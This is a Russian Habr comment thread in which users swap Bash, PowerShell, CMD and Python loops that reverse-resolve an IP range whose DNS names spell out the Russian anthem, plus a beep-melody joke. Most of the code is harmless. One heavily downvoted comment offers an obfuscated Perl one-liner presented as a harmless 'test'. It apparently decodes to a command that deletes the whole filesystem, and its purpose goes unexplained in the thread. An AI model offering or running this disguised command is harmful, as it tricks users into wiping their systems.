Abnormal programming
Comments 84
+2
В дебиане не отработало, греп выругался на -P. Так что вариант попроще:

for i in {200..225}; do nslookup 62.76.96.$i | grep name | awk '{print $4}'; done
+5
ребята, отнеситесь с пониманием, не минусуйте — дайте человеку возможность перенести пост в хабраюмор :)
+1
а вот вариант в первом комментарии отработал)
очень забавно)
+9
Если кто-то из закоренелых виндузятников, таких как я, не врубился в прикол, то вот вариант для PowerShell

for ($i=200; $i -le 225; $i++){nslookup 62.76.96.$i}
+2
А если уже быть совсем задротомэстетом, то я написал вот такой вариант.
Правда, в нём не очень ясно, откуда прикол, зато выглядит красивее.

for ($i=200; $i -le 223; $i++){(nslookup 62.76.96.$i)[3].ToString().Replace('.', ' ').Substring(9)}

Ещё раз, это — для PowerShell в Windows
+12
Для виндузятников, у которых нет PowerShell'a можно сделать так
for /l %i in (200,1,255) do nslookup 62.76.96.%i
+2
Ящитаю надо так:
@cls & @for /l %i in (200,1,223) do @(nslookup 62.76.96.%i & ping -n 4 127.0.0.1>nul & cls)
Если это в батник записать, то %i надо заменить на %%i.
+3
Вот как надо:

@echo off & (for /l %z in (200,1,223) do for /f «usebackq skip=3 tokens=2-10 delims=:.» %a in (`nslookup 62.76.96.%z`) do echo %a %b %c %d %e %f %g %h %i|findstr /RV "[0-9]") & echo on
UFO landed and left these words here
0
for /L %i in (200, 1, 223) do @for /F «tokens=1* delims= » %A in ('nslookup 62.76.96.%i ^| find «Name:»') do @echo %B
+3
Можно сократить до

200..225|% {nslookup 62.76.96.$_}

Но для повышения читаемости лучше сделать хотя бы

200..225|% {nslookup 62.76.96.$_}|select-string "^Name:"

Или вообще так:
200..225 |% {[net.dns]::GetHostByAddress(«62.76.96.$_»).hostname}
+57
Бывают в мире джипы с наклейками: «Срал я на экономию топлива».
А тут у чувака на DNS наклейка: «Срал я на то, что у всего мира закончились Ipv4 адреса»
-2
а какое отношение имеет обратный резолв к экономии ip-адресов, я хочу сказать что не смотря на то что у этих адресов такой забавный бекрезолв, они могут еффективно использоваться, для доказательства того что адреса используются не продуктивно информации не достаточно.
+1
всего лишь 25 адресов потрачено,
и то, в Интернет они не анонсируются

а в то же время, московские домосети получают свой уже не первый /19, а чуть менее, чем все, являются lir :)
и после этого вы говорите о растрате ipv4?
+25
Для тех, кто не понял… =)
io ~ # for i in {200..225}; do nslookup 62.76.96.$i | grep name | awk '{print $4}'; done                              Rossija.svjashhennaja.nasha.derzhava.
ns.sirius-p.ru.
ns.sirip.net.
Rossija.ljubimaja.nasha.strana.
ns.sirip.net.
ns.sirius-p.ru.
Moguchaja.volja.velikaja.slava.
ns.sirius-p.ru.
ns.sirip.net.
Tvojo.dostojanie.na.vse.vremena.
ns.sirip.net.
ns.sirius-p.ru.
Slavsja.Otechestvo.nashe.svobodnoe.
ns.sirius-p.ru.
ns.sirip.net.
Bratskikh.narodov.sojuz.vekovojj.
ns.sirius-p.ru.
ns.sirip.net.
Predkami.dannaja.mudrost.narodnaja.
ns.sirip.net.
ns.sirius-p.ru.
Slavsja.strana.My.gordimsja.tobojj.
ns.sirip.net.
ns.sirius-p.ru.
Ot.juzhnykh.morejj.do.poljarnogo.kraja.
ns.sirius-p.ru.
ns.sirip.net.
Raskinulis.nashi.lesa.i.polja.
ns.sirius-p.ru.
ns.sirip.net.
Odna.ty.na.svete.Odna.ty.takaja.
ns.sirip.net.
ns.sirius-p.ru.
Khranimaja.Bogom.rodnaja.zemlja.
ns.sirius-p.ru.
ns.sirip.net.
Slavsja.Otechestvo.nashe.svobodnoe.
ns.sirip.net.
ns.sirius-p.ru.
Bratskikh.narodov.sojuz.vekovojj.
ns.sirip.net.
ns.sirius-p.ru.
Predkami.dannaja.mudrost.narodnaja.
ns.sirip.net.
ns.sirius-p.ru.
Slavsja.strana.My.gordimsja.tobojj.
ns.sirip.net.
ns.sirius-p.ru.
Shirokijj.prostor.dlja.mechty.i.dlja.zhizni.
ns.sirius-p.ru.
ns.sirip.net.
Grjadushhie.nam.otkryvajut.goda.
ns.sirius-p.ru.
ns.sirip.net.
Nam.silu.dajot.nasha.vernost.Otchizne.
ns.sirip.net.
ns.sirius-p.ru.
Tak.bylo.tak.est.i.tak.budet.vsegda.
ns.sirius-p.ru.
ns.sirip.net.
Slavsja.Otechestvo.nashe.svobodnoe.
ns.sirip.net.
ns.sirius-p.ru.
Bratskikh.narodov.sojuz.vekovojj.
ns.sirip.net.
ns.sirius-p.ru.
Predkami.dannaja.mudrost.narodnaja.
ns.sirius-p.ru.
ns.sirip.net.
Slavsja.strana.My.gordimsja.tobojj.
ns.sirius-p.ru.
ns.sirip.net.
io ~ #
+3
банальный резолв на каждый IP адрес )
понятное дело, что в обратную сторону это работать не будет.

вообщем, порадовало!
+19
Могу только вот это предложить (for Linux)

beep -l 350 -f 392 -D 100 --new -l 350 -f 392 -D 100 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 700 -f 392 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 250 -f 622.26 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 350 -f 369.99 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 700 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 739.98 -D 100 --new -l 25 -f 698.46 -D 100 --new -l 25 -f 659.26 -D 100 --new -l 25 -f 622.26 -D 100 --new -l 50 -f 659.26 -D 400 --new -l 25 -f 415.3 -D 200 --new -l 350 -f 554.36 -D 100 --new -l 250 -f 523.25 -D 100 --new -l 25 -f 493.88 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 25 -f 440 -D 100 --new -l 50 -f 466.16 -D 400 --new -l 25 -f 311.13 -D 200 --new -l 350 -f 369.99 -D 100 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 466.16 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 700 -f 587.32 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 739.98 -D 100 --new -l 25 -f 698.46 -D 100 --new -l 25 -f 659.26 -D 100 --new -l 25 -f 622.26 -D 100 --new -l 50 -f 659.26 -D 400 --new -l 25 -f 415.3 -D 200 --new -l 350 -f 554.36 -D 100 --new -l 250 -f 523.25 -D 100 --new -l 25 -f 493.88 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 25 -f 440 -D 100 --new -l 50 -f 466.16 -D 400 --new -l 25 -f 311.13 -D 200 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 300 -f 392.00 -D 150 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 700 -f 392
+7
Неннееее, неее, я на повершелл переводить это не буду! Даже не уговаривайте! Но! Всё же это отличный вызов! Я реализовал его так:

Гимн Российской Федерации!
Исполняет: Windows Media Player 12
Оркестр: PowerShell ISE, Windows 7 Ultimate

Ноты:
Set-Location $HOME
$client = New-Object System.Net.WebClient
$client.DownloadFile(«gimnrf.narod.ru/russian_hymn.mp3», «hymh.mp3»)
.\hymh.mp3
0
Больше похоже на тему звездных войн, а не гимна РФ
0
Извините за моветон, но тут описано как-что настроить в убунте и как проиграть гимн ;)
-11
Почитал. Какой-то он странный. Меня в школе учили совсем другому тексту: Союз нерушимый республик свободных сплотила на веки великая Русь

Откуда эта самодеятельность?
+27
Вас учили гимну СССР, сейчас несколько другая страна и другой гимн. Как вы это пропустили? ;)
-14
Каждые десять лет меняют? Скоро следующая замена планируется, или как?
+10
Не ко мне вопрос. Но за 10 можно было бы узнать какой у нас в стране гимн.
+7
Вы просите вам посоветовать? Решите сами, учить вам его или нет. Раз в 10 лет можно и поучить.

Я бы посоветовал вам участвовать в жизни страны хотя бы на том уровне, чтобы актуальная символика не казалась вам незнакомой.
-7
Что поменяется в стране о того, что я буду знать «актуальную в настоящий момент символику» (что там Пелевин про… м… представителей сексуальных меньшинств писал? Насчёт «актуальных»).

Я предпочитаю не зубрить очередную ахинею, а заниматься своим делом. И по мере возможности не давать взятки и откаты, не ездить на красный свет… Или актуальная символика важнее?
+9
Тогда почему удивляетесь тому, что не гимн сменился, если вам на это глубоко параллельно?
0
Если уж писать на Windows CMD, то вот:

@echo off & for /l %i in (200,1,223) do for /f «usebackq skip=3 tokens=2-10 delims=:.» %a in (`nslookup 62.76.96.%i`) do echo %a %b %c %d %e | findstr /RV "[0-9]"
0
Ага, там, оказывается, может быть больше слов в строке. Тогда вот вариант:

@echo off & for /l %z in (200,1,223) do for /f «usebackq skip=3 tokens=2-10 delims=:.» %a in (`nslookup 62.76.96.%z`) do echo %a %b %c %d %e %f %g %h %i | findstr /RV "[0-9]"
+2
Ссылка: russia. Чтобы работало в батнике — заменить % на %% (т.е. вместо %i будет %%i)
0
переведите лучше пищалку мелодии, что выше выложили для винды :)
UFO landed and left these words here
+1
Пропевать не успевал, пришлось паузу добавить
for /l %i in (200,1,223) do nslookup 62.76.96.%i & pause
+7
Если под DDoS'ом вы имеет ввиду ресолв адреса, то ты «заддосили» DNS-сервер своего провайдера или кто у вас там в resolv.conf/чтотамподвиндой прописан.
0
Теперь я понял задумку автора: адски распространить гимн России по всему миру в автоматическом режиме.
-39
Ну, тут уж сам бог велел:
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
0
Я догадываюсь что оно делает что-то плохое, но вот что не знаю. Подскажете?
+1
Теперь Python:
from socket import gethostbyaddr
for i in range(200, 223):
print gethostbyaddr('62.76.96.'+str(i))[0]
Only those users with full accounts are able to leave comments., please.